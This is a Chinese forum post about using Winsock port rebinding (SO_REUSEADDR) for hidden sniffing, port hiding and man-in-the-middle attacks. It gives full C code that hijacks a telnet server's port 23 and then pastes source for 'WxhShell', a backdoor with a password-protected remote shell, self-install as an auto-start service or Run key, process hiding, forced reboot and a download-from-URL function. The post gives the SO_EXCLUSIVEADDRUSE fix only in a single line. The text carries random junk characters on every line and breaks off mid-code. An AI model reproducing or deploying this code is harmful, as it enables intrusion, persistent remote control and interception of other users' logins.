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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;Ocih<4k  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #%4-zNS  
yIBT*,4  
  saddr.sin_family = AF_INET; sT"U}  
?\dY!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); d`D<PT(\  
Hmt} @  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -hav/7g  
>t|u 8/P  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $=7[.z&  
TFbMrIF  
  这意味着什么?意味着可以进行如下的攻击: ^YddVp  
`A8nAgbe  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 S}Wj+H;  
9NTBdo%u  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) X/  
HS"E3s8  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %./vh=5)  
NIcPjo  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  z;6 Tp  
`+_UG^aeW  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 V @A+d[  
q@K;u[zFK  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5[.Dlpa'7  
JivkY"= F  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 VG*Tdaua~  
E 5D5  
  #include uGIA4CUm  
  #include hj@< wU  
  #include 1|)l6#hOL  
  #include    %$/t`'&o-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6/`$Y!.ub  
  int main() X{A|{u=  
  { (Zi(6 T\z  
  WORD wVersionRequested; \}SA{)  
  DWORD ret; ~1xln?Q  
  WSADATA wsaData; xc[Lb aBG  
  BOOL val; 4 G`7]<  
  SOCKADDR_IN saddr; J;|r00M  
  SOCKADDR_IN scaddr; (uV ~1  
  int err; #9aB3C  
  SOCKET s; fHTqLYd-  
  SOCKET sc; s@^ (1g[w`  
  int caddsize; X;Tayb  
  HANDLE mt; lhsd 39NM  
  DWORD tid;   O,(p><k$/  
  wVersionRequested = MAKEWORD( 2, 2 ); bF:]MB^VK  
  err = WSAStartup( wVersionRequested, &wsaData ); <rd7<@>5D  
  if ( err != 0 ) { c,%9Fh?(  
  printf("error!WSAStartup failed!\n"); EgO=7?(pW  
  return -1; <fq?{z  
  } c e`3&  
  saddr.sin_family = AF_INET; `6:;*#jO,  
   >%jQw.  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 r8\"'4B1  
pC 5J '@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :7&#ej6  
  saddr.sin_port = htons(23); o:E+c_^q`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s)Bmi  
  { jEr/*kv  
  printf("error!socket failed!\n"); @i`*i@g  
  return -1; Bbuy y  
  } 6.? Ke8iC  
  val = TRUE; _^cDB1I ?  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 g3~e#vdz  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) siveqz6h  
  { n"YY:Gm;8  
  printf("error!setsockopt failed!\n"); e(7F| G*  
  return -1; lA[BV7.=7  
  } fD1J@57  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /mLOh2 T  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3=w$1.B d  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +*"u(7AV  
iB#xUSkS  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) j:'sbU  
  { ceN*wkGyB  
  ret=GetLastError(); }C1&}hZ  
  printf("error!bind failed!\n"); S]3K5Z|  
  return -1; TJS/O~=  
  } _l$V|  
  listen(s,2); @]r,cPx0Y  
  while(1) 6t9Q,+nJ  
  {  QDCu  
  caddsize = sizeof(scaddr); "~~Js~  
  //接受连接请求 ` #Qlr+X  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5~&9/ ALk5  
  if(sc!=INVALID_SOCKET) FncK#hZ.  
  { >`Xikn(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); dh r)ra]  
  if(mt==NULL) vR$[#`X  
  { v'`VyXetl  
  printf("Thread Creat Failed!\n"); YTH3t] &  
  break; -#Xo^-&  
  } ;&B;RUUnTO  
  } Q)eYJP=W  
  CloseHandle(mt); E^kB|; Ki  
  } D:`b61sWi_  
  closesocket(s); O iRhp(  
  WSACleanup(); +"1@ 6,M  
  return 0; /NvHM$5O%  
  }   =7{n 2  
  DWORD WINAPI ClientThread(LPVOID lpParam) 3^m0 k E  
  { wLn,x;;<  
  SOCKET ss = (SOCKET)lpParam; ykFm$ 0m+I  
  SOCKET sc; chw6_ctR>  
  unsigned char buf[4096]; pVgzUu7  
  SOCKADDR_IN saddr; om6'%nXhn  
  long num; tkT:5O6  
  DWORD val; $['_m~ 2  
  DWORD ret; $ ?ayE  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #{-l(016y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8T ?=_|  
  saddr.sin_family = AF_INET; DIrQ5C  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); CK4C:`YG  
  saddr.sin_port = htons(23); )anprhc  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?` ?HqR0  
  { L1P.@hJ  
  printf("error!socket failed!\n"); R_? Q`+X  
  return -1; -U&k%X   
  } l/WQqT  
  val = 100; v6uXik  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p'SclH[   
  { A7 U]wW9  
  ret = GetLastError(); bH 6i1c8  
  return -1; D==C"}J  
  } jtS-nQ|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |HT5G=dw  
  { eI20)t`j  
  ret = GetLastError(); L !/Zw~  
  return -1; _.)6~  
  } _JEe]  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Whd.AaD\  
  { Mk-zeq<2z  
  printf("error!socket connect failed!\n"); &k\`!T1  
  closesocket(sc); "rHcsuSEw  
  closesocket(ss); a] =k-Xh  
  return -1; 4%refqWK  
  } [2*?b/q3J  
  while(1) ^T>P  
  { E@.daUoB  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }\#u~k!l  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 <m"fzT<"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9(-f)$u  
  num = recv(ss,buf,4096,0); BIQQJLu  
  if(num>0) CdZS"I  
  send(sc,buf,num,0); >6X$iBb0  
  else if(num==0) o5h*sQ9  
  break; Vi 9Kah+  
  num = recv(sc,buf,4096,0); rt8"U <~  
  if(num>0) @ zs.M-F  
  send(ss,buf,num,0); y=HM]EH>  
  else if(num==0) 5MX7V4ist  
  break; {JGXdp:SB  
  } lVptA3F  
  closesocket(ss); m#Y[EPF=|  
  closesocket(sc); td!YwN*  
  return 0 ; Xd 5vNmQn  
  } eeVzOq(  
y8.3tp  
RKb{QAK!v  
========================================================== X$A[~v  
;owU]Xk%8K  
下边附上一个代码,,WXhSHELL P*!~Z *"  
yd=NafPM  
========================================================== 16-1&WuY@  
wn Q% 'Eo  
#include "stdafx.h" <lN=<9  
\Dx5=Lh  
#include <stdio.h> =Sjf-o1V  
#include <string.h> N2uTWT>  
#include <windows.h> MwE^.6xl{  
#include <winsock2.h> fG" 4\A  
#include <winsvc.h> @v~<E?Un  
#include <urlmon.h> jJ7"9  
f\u5=!kjN  
#pragma comment (lib, "Ws2_32.lib") |Duf 3u  
#pragma comment (lib, "urlmon.lib") jBr3Ay@<  
j V'~>  
#define MAX_USER   100 // 最大客户端连接数 "ivSpec.V  
#define BUF_SOCK   200 // sock buffer &Db'}Y?x]  
#define KEY_BUFF   255 // 输入 buffer 1 ~s$<  
u`gY/]y!  
#define REBOOT     0   // 重启 ijeas<  
#define SHUTDOWN   1   // 关机 SU7 erCHX  
G\C>fwrP_  
#define DEF_PORT   5000 // 监听端口 WNp-V02l  
{C'9?4&  
#define REG_LEN     16   // 注册表键长度 c :u2a/Q?  
#define SVC_LEN     80   // NT服务名长度 ;\54(x}|K  
#9/S2m2\YG  
// 从dll定义API ./_4D}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {1}p+dEK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l0BYv&tu  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F3=iyiz6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K!O7q~s[D  
g E$@:j  
// wxhshell配置信息 +nKf ^rG  
struct WSCFG { CuA A)Bj  
  int ws_port;         // 监听端口 U&OE*dq  
  char ws_passstr[REG_LEN]; // 口令 Ey]P >J  
  int ws_autoins;       // 安装标记, 1=yes 0=no uuf+M-P  
  char ws_regname[REG_LEN]; // 注册表键名 ` 7jdV  
  char ws_svcname[REG_LEN]; // 服务名 u;/<uV3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zuYz"-(L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 VI;)VJbq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yL"pzD`[H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ZJ'FZ8Sx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /rzZU}3[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^2eH0O!  
lQt* LWd[  
}; ]GmXZi  
L=)Arj@q  
// default Wxhshell configuration x0ICpt{;  
struct WSCFG wscfg={DEF_PORT, [' cq  
    "xuhuanlingzhe", ;oJCV"y6$  
    1, dL|*#e  
    "Wxhshell", u;H5p\zAzz  
    "Wxhshell", <lf6gb  
            "WxhShell Service", o(3`-ucD`  
    "Wrsky Windows CmdShell Service", i4\m/&of3y  
    "Please Input Your Password: ", 4qg] oiT  
  1, tRmH6  
  "http://www.wrsky.com/wxhshell.exe", RrRE$g  
  "Wxhshell.exe" EM0]"s@Lf  
    }; #RVN 7-x  
)jm u*D5N  
// 消息定义模块 #]e](j>]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H<C+ rAIb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {on+ ;,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &?#!%Ds  
char *msg_ws_ext="\n\rExit."; ehr,+GX  
char *msg_ws_end="\n\rQuit."; tjt#2i8/  
char *msg_ws_boot="\n\rReboot..."; )NCSO b  
char *msg_ws_poff="\n\rShutdown..."; U Y')|2y 5  
char *msg_ws_down="\n\rSave to "; "6xTh0D  
_sI\^yZd  
char *msg_ws_err="\n\rErr!"; @ Yzc?+x  
char *msg_ws_ok="\n\rOK!"; <:Z-zQp)?  
a!*K)x,"<  
char ExeFile[MAX_PATH]; W6L}T,epX  
int nUser = 0; r^$WX@ t&  
HANDLE handles[MAX_USER]; JN<IMH  
int OsIsNt; %N0cp@Vz  
>TQnCG =  
SERVICE_STATUS       serviceStatus; 'qnnZE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ma7@vD  
=3<@{^Eg  
// 函数声明 @Sd l~'"  
int Install(void); 4Q5 c'  
int Uninstall(void); h;`]rK;g  
int DownloadFile(char *sURL, SOCKET wsh); d}_%xkC  
int Boot(int flag); u|uPvbM  
void HideProc(void); \<4Hp_2?  
int GetOsVer(void); KvfZj  
int Wxhshell(SOCKET wsl); {Wh7>*p{3  
void TalkWithClient(void *cs); {wyf>L0j  
int CmdShell(SOCKET sock); U8s&5~IPn  
int StartFromService(void); Sn ~|<Vf  
int StartWxhshell(LPSTR lpCmdLine); i0e aBG]I  
_ ZC[h~9H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Nw|m"VLb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7l|D!`BS  
K_t! P  
// 数据结构和表定义 L2m~ GnP|?  
SERVICE_TABLE_ENTRY DispatchTable[] = -|&5aH]  
{ 2*9rhOK*  
{wscfg.ws_svcname, NTServiceMain}, of>"qrdZ  
{NULL, NULL} ~Y /55uC  
}; -+w^"RBV  
|"XxM(Dm  
// 自我安装 pu9ub.  
int Install(void) KD)+& 69  
{ xBW{Wyh  
  char svExeFile[MAX_PATH]; p.J+~s4G  
  HKEY key; Nq=r404  
  strcpy(svExeFile,ExeFile); )i{B:w\ ^  
yk7l{F  
// 如果是win9x系统,修改注册表设为自启动 [r"`r Bw  
if(!OsIsNt) { |.c|\e z/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L4C_qb k;:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H^\2,x Z  
  RegCloseKey(key); =f*Wj\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =9@t6   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  >!7\Rx  
  RegCloseKey(key); ,@*Srrw  
  return 0; ,@]rvI6 x  
    } S0uEz;cE  
  } Rh.CnCbM  
} 5v@-.p  
else { hB:}0@l6p=  
6xsB#v*  
// 如果是NT以上系统,安装为系统服务 Q+]9Glz9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2UGnRZ8:1Y  
if (schSCManager!=0) j/<z[qr  
{ a1n j}1M%  
  SC_HANDLE schService = CreateService MU/3**zoW  
  ( b\^q9fy  
  schSCManager, L[s8`0  
  wscfg.ws_svcname, Yo$ xz  
  wscfg.ws_svcdisp, vuCl(/P`  
  SERVICE_ALL_ACCESS, ^Td_B03)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , erC)2{m  
  SERVICE_AUTO_START, ; OpN &q+  
  SERVICE_ERROR_NORMAL, ]J%p&y+6  
  svExeFile, mm,be.  
  NULL, k-uwK-B}v+  
  NULL, ZLRAiL  
  NULL, ?U PZ49y  
  NULL, ueM[&:g&MU  
  NULL Ct)l0J\XH  
  ); _,m|gr ,S  
  if (schService!=0) rL=_z^.P  
  { _Ka6! 9  
  CloseServiceHandle(schService); _ Db05:r@  
  CloseServiceHandle(schSCManager); _poe{@h!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,GH;jw)P  
  strcat(svExeFile,wscfg.ws_svcname); dmkd.aP4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { iO,_0Y4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g[d.lJ=Q-N  
  RegCloseKey(key); _FRwaFVJ3  
  return 0; *Ou)P9~-L  
    } fZ*LxL  
  } T .57Okp  
  CloseServiceHandle(schSCManager); =(^-s Jk  
} 1Y-m=~J7  
} TL?(0]H fe  
{ eU_  
return 1; .-Xp]>f,  
} ]^j'2nJv0  
PU6Sa-fQ2,  
// 自我卸载 lOc!KZHUp  
int Uninstall(void) 5:o$]LkOWC  
{ EM.7,;|N  
  HKEY key; .|pyloL.  
JF vVRGWB  
if(!OsIsNt) { ?y@RE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P9\!JH!  
  RegDeleteValue(key,wscfg.ws_regname); ;B'5B]A3  
  RegCloseKey(key); x'.OLXx>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .[1"3!T  
  RegDeleteValue(key,wscfg.ws_regname); .)zX<~,  
  RegCloseKey(key); Ev R6^n/  
  return 0; I\BcG(hlJ  
  } Jx:t(oUR+  
} 4a&*?=GG  
} [CBhipoc  
else { @Y~R*^n"}  
g@va@*|~d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `o.DuvQ E  
if (schSCManager!=0) U8T"ABvFP  
{ cNX0.7Ls  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4rmSo^vK  
  if (schService!=0) PMdvBOtS`  
  { (\Iz(N["G  
  if(DeleteService(schService)!=0) { <HLe,  
  CloseServiceHandle(schService); gm-I)z!tz  
  CloseServiceHandle(schSCManager); hr+,-j  
  return 0; fY|Bc<,V9)  
  } +EmT+$>J  
  CloseServiceHandle(schService); wz,T7L  
  } {EoRY/]  
  CloseServiceHandle(schSCManager); n>_EE w2/  
} -7^A_!.  
} tj:Q]]\M  
q*Hf%I"  
return 1; PjH[8:,  
} fjE  
Myl!tXawe8  
// 从指定url下载文件 `Jvy~T  
int DownloadFile(char *sURL, SOCKET wsh) $Vi[195]2  
{ )wmG&"qsP  
  HRESULT hr; ^ lUV^%f  
char seps[]= "/"; n>)'!   
char *token; H O^3v34ZO  
char *file; uN:|4/;{&  
char myURL[MAX_PATH]; JQ>GKu~  
char myFILE[MAX_PATH]; wH=L+bA>a  
%{fa . >6  
strcpy(myURL,sURL); %TY;}V59b  
  token=strtok(myURL,seps); hnQDm$k  
  while(token!=NULL) 4@K9%  
  { K/2k/\Jk[_  
    file=token; aUdbN&G  
  token=strtok(NULL,seps); `]Uu`b  
  } SWAggW)  
+<G |Ru-  
GetCurrentDirectory(MAX_PATH,myFILE); (1 "unP-  
strcat(myFILE, "\\"); B?Vr9H7n  
strcat(myFILE, file); }Htnhom0n  
  send(wsh,myFILE,strlen(myFILE),0); ~ wMdk9RQ  
send(wsh,"...",3,0); s`j QX\{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hi{#HXa  
  if(hr==S_OK) I9! eL4e  
return 0; jRswGMx  
else WjyuaAWY  
return 1; b8?qYm  
.6,+q2tyk,  
} LvWl*:z  
xbh4j!FD$  
// 系统电源模块 K[wOK  
int Boot(int flag) ZZkxEq+D  
{ ^i"C%8  
  HANDLE hToken; } {! #` 's  
  TOKEN_PRIVILEGES tkp; KGMX >t'  
[}7j0&  
  if(OsIsNt) { i+/:^tc;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Cm~h\+"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T ;Ga G  
    tkp.PrivilegeCount = 1; 16iymiLz&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'bH',X8gF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q^^.@FU"x  
if(flag==REBOOT) { pK)*{fC$`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {U$qxC]M  
  return 0; - nWs@\  
} l!n<.tQW  
else { XA cpLj]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~c e?xr|  
  return 0; 4_CV.?  
} zeqP:goy  
  } 9n$0OH /q  
  else { @W\y#5"B  
if(flag==REBOOT) { 4$~]t:n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U'pm5Mc\q  
  return 0; M7Pvc%\)  
} / 38b:,  
else { o8!gV/oy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !J34yro+s  
  return 0; M`W%nvEDE  
} O"otzla  
} oo{5 :  
~R`Rj*Q2Y  
return 1; :!omog  
} pRsYA7Ti  
F&{RP>  
// win9x进程隐藏模块 ]J^ 9iDTTA  
void HideProc(void) ~Rzn =>a  
{ +k!Y]_&(:f  
8S&Kf>D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B]PTe~n^  
  if ( hKernel != NULL ) zVLv-U/=d  
  { $9 GRAM.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )PC(1Zn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MC.,n$O}6  
    FreeLibrary(hKernel); \V@Hf"=j  
  } s*R \!L  
zE{@'  
return; .xtjB8gc  
} |aiP7C  
-.A8kJ  
// 获取操作系统版本 SrV+Ox  
int GetOsVer(void) sSLs%)e|:  
{ P)fv:a  
  OSVERSIONINFO winfo; @=[/bG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  \Vis  
  GetVersionEx(&winfo); >3H/~ Y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /K mzi9j+  
  return 1; !HA[:-JCz  
  else !GkwbHr+p  
  return 0; G Q&9b_  
} k^q}F%UV  
0G/VbS  
// 客户端句柄模块 Si<9O h  
int Wxhshell(SOCKET wsl) )hH9VGZq(  
{ W~GbB:-  
  SOCKET wsh; wj>mk  
  struct sockaddr_in client; V:h-K`~ /  
  DWORD myID; &Z682b$  
[@ ]f@Wd  
  while(nUser<MAX_USER) uLYz!E+E  
{ :sRV]!Iw  
  int nSize=sizeof(client); hWK}] gF  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T>(nc"(  
  if(wsh==INVALID_SOCKET) return 1; )^UM8 s  
so|5HR|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *|MHQp'A  
if(handles[nUser]==0) DSY:aD!  
  closesocket(wsh); v}hmI']yf  
else ./@!k[  
  nUser++; %dTkw+J  
  } >_QC_UX>4i  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :>to?~Z1  
q/xMM `{  
  return 0; #LlHsY530N  
} ]trVlmZXH}  
!RLg[_'  
// 关闭 socket -ea>}S  
void CloseIt(SOCKET wsh) @ NGK2J  
{ 8~?3: IZ  
closesocket(wsh); Efi@hdEV  
nUser--; :mLcb. E  
ExitThread(0); ^yUel.N5"  
} BP2-LG&\  
.Gv9RKgd~  
// 客户端请求句柄 >N>WOLbb7(  
void TalkWithClient(void *cs) W B)<B  
{ #%k!`?^fbK  
~<Z;)e  
  SOCKET wsh=(SOCKET)cs; m xtLcG4G  
  char pwd[SVC_LEN];  ~dfc  
  char cmd[KEY_BUFF]; 7QP%Pny%  
char chr[1]; M}NmA  
int i,j; edhNQWn  
W R@=[G#TJ  
  while (nUser < MAX_USER) { zVe@`gc  
e{8z1t20:  
if(wscfg.ws_passstr) { Vh^fbv`?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x\r7q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3o%,8l,  
  //ZeroMemory(pwd,KEY_BUFF); ?P[uf  
      i=0; 98h,VuKVaB  
  while(i<SVC_LEN) { GHeJpS  
V| b9zHh  
  // 设置超时 !7!xJ&/V  
  fd_set FdRead; X-9>;Mb~y  
  struct timeval TimeOut; L+Yn}"gIs  
  FD_ZERO(&FdRead);  sBY*9I  
  FD_SET(wsh,&FdRead); . $uvQpyh  
  TimeOut.tv_sec=8;  5<bc>A-  
  TimeOut.tv_usec=0; )%x oN<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %o9@[o .]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [H z_x(t26  
xRYL{+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8 $0D-z  
  pwd=chr[0]; /%|JP{   
  if(chr[0]==0xd || chr[0]==0xa) { xy$73K6  
  pwd=0; h`dtcJ0  
  break; 0F-X.Dq  
  } w*<XPBi  
  i++; y0cHs|8  
    } TjxZ-qw<  
;vvO#3DWM  
  // 如果是非法用户,关闭 socket / PG+ s6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w@Uw8b  
} ;LE4U OK  
v.:aICB5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $E3- </ f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XJy~uks,  
Kk1591'  
while(1) { 3Yf&F([t  
$ysemDq-a\  
  ZeroMemory(cmd,KEY_BUFF); #j -bT4!  
t!RR5!  
      // 自动支持客户端 telnet标准   z+I'N4*^  
  j=0; 1S9(Zn[2,  
  while(j<KEY_BUFF) { S[,!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1>P[3Y@}  
  cmd[j]=chr[0]; Z"PPXv-<jY  
  if(chr[0]==0xa || chr[0]==0xd) { _@9[c9bO  
  cmd[j]=0; &v|Uy}h&%1  
  break; AE`X4q  
  } |D+"+w/  
  j++; D+ mZ7&L  
    } OV3l)73?t  
.zQ:u{FT  
  // 下载文件 W_l/Jpv!W  
  if(strstr(cmd,"http://")) { 51j5AbFQ"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q/U(j&8W{  
  if(DownloadFile(cmd,wsh)) HA&7 ybl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nVkx Q?2  
  else Y,Dd} an  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?q a  
  } C'&)""3d  
  else { 2 Ya)I k{  
_DsA<SJ]  
    switch(cmd[0]) { FsQeyh>  
  r09gB#K4  
  // 帮助 Qt`hUyL  
  case '?': { hkV;(Fr&z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s}Phw2`1U  
    break; |,3s]b`  
  } .4on7<-a  
  // 安装 VP0q?lh  
  case 'i': { X[/>{rK  
    if(Install()) ZoX24C'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x` T  
    else n%'M?o]DF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sd4eJ  
    break; kQ~2mU  
    } I5]=\k($  
  // 卸载 $A~UA  
  case 'r': { rEz-\jLD~  
    if(Uninstall()) y/=:F=H@w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PdiP5S }/  
    else m$<LO%<~p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j"(o>b v7  
    break; "XPBNv\>_  
    } _)|_KQQu  
  // 显示 wxhshell 所在路径 *+(t2!yFmE  
  case 'p': { EUBJnf:q  
    char svExeFile[MAX_PATH]; @1+C*  
    strcpy(svExeFile,"\n\r"); wEju`0#;  
      strcat(svExeFile,ExeFile); 8Aq [@i  
        send(wsh,svExeFile,strlen(svExeFile),0); #I> c$dd  
    break; C]S~DK1  
    } + *u'vt?  
  // 重启 |-Rg].  
  case 'b': { <Jt H/oN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vTnrSNdSE  
    if(Boot(REBOOT)) 1{6BU!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '{]1!yMh  
    else { NUxOU>f  
    closesocket(wsh); Xge]3Ub  
    ExitThread(0); Xjb 4dip  
    } ^gw htnI  
    break; 2n]UNC  
    } nc<w DE6  
  // 关机 w+A:]SU  
  case 'd': { LV4\zd6  
